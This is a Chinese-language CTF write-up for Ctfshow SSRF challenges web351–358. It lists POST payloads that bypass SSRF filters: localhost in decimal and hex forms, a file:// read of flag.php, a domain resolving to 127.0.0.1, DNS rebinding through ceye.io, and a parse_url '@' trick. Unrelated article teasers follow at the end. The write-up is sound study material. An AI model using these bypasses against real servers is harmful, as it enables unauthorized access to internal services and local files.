【Web】Ctfshow SSRF刷题记录1

news/2024/5/19 22:15:45 标签: 前端, CTF, WEB, 安全, 笔记

核心代码解读

<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>

    curl_init():初始curl会话
    curl_setopt():会话设置
    curl_exec():执行curl会话,获取内容
    curl_close():会话关闭
 

①web351

post:

url=http://127.0.0.1/flag.php

或者

url=file:///var/www/html/flag.php

查看源码

 

②web352-353

 

前置知识:

127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

post:

url=http://0/flag.php

url=http://127.1/flag.php 

url=http://0x7f.0.0.1/flag.php

url=http://0x7F000001/flag.php

③web354

一些公共域名,但是解析到127.0.0.1 

post:

 url=http://ecd.tencent.com/flag.php

(当我们访问域名时会把我们引入设置的A记录,这里就是127.0.0.1,感觉就像给域名重起了个名字)

⑤web355-356

 

 

也就是长度限制

post:

url=http://0/flag.php

⑥web357

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
 

 因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法 和 dns rebinding 方法。

DNS rebinding(DNS重新绑定攻击)

攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。
 

回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 DNS重绑定 来实现攻击。

去CEYE 注册账号,在个人信息页面,点击下面的+ New DNS,添加127.0.0.1和124.222.136.33(随便一个可用的ip)。

翻阅ceye的DNS Rebinding页面的介绍,有这么一句话:

    If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.

所以要使用DNS重定向,我们要在域名前面加上r.

多试几次即可(每次都是随机返回一个设置的IP,所以可能大概率碰运气)

 

⑦web358

正则,必须要以http://ctf.开头,以show结尾

parse_url()解析到邮箱时:@前是user

file_get_contents()会访问host:port/path,与user无关

post:

url=http://ctf.@127.0.0.1/flag.php#show

还有两题后续专门总结

 


http://www.niftyadmin.cn/n/5193239.html

相关文章

解决:ERROR: No matching distribution found for PIL

解决&#xff1a;ERROR: No matching distribution found for PIL 背景 在搭建之前的代码环境时&#xff0c;报错&#xff1a; ERROR: Could not find a wersion that satisfies the requirement PIL&#xff08;from versions: none&#xff09; ERROR: No matching distribu…

竞赛 题目:基于深度学习的中文对话问答机器人

文章目录 0 简介1 项目架构2 项目的主要过程2.1 数据清洗、预处理2.2 分桶2.3 训练 3 项目的整体结构4 重要的API4.1 LSTM cells部分&#xff1a;4.2 损失函数&#xff1a;4.3 搭建seq2seq框架&#xff1a;4.4 测试部分&#xff1a;4.5 评价NLP测试效果&#xff1a;4.6 梯度截断…

Stream流常见操作

.stream() 常用方法 .forEach&#xff08;&#xff09; 该方法接收一个 Consumer 接口函数&#xff0c;会将每一个流元素交给该函数进行处理 .filter()&#xff1a;过滤 该接口接收一个 Predicate 函数式接口参数&#xff08;可以是一个Lambda或方法引用&#xff09;作为筛…

React中的Redux:简介和实例代码

React是一个流行的JavaScript库&#xff0c;用于构建用户界面。它提供了一种简单而强大的方式来构建交互式的界面。Redux是一个用于管理应用程序状态的JavaScript库。它可以与React一起使用&#xff0c;以帮助管理React应用程序的状态。 引言 在本文中&#xff0c;我们将介绍R…

leetcode系列(双语)003——GO无重复字符的最长子串

文章目录 003、Longest Substring Without Repeating Characters个人解题官方解题扩展 003、Longest Substring Without Repeating Characters 无重复字符的最长子串 Given a string s, find the length of the longest substring without repeating characters. 给定一个字符…

C语言循环结构 while循环

while循环 while循环语句概述while循环输出20个数while循环注意事项 while循环语句概述 作用&#xff1a;满足循环条件&#xff0c;执行循环语句 语法&#xff1a;while(循环条件){ 循环语句 } 解释&#xff1a;只要循环条件的结果为真&#xff0c;就执行循环语句 while循环输…

基于SSM的在线投稿系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

组合模式 rust和java的实现

文章目录 组合模式介绍实现javarsut 组合模式 组合模式&#xff08;Composite Pattern&#xff09;&#xff0c;又叫部分整体模式&#xff0c;是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象&#xff0c;用来表示部分以及整体层次。这种类型的设计…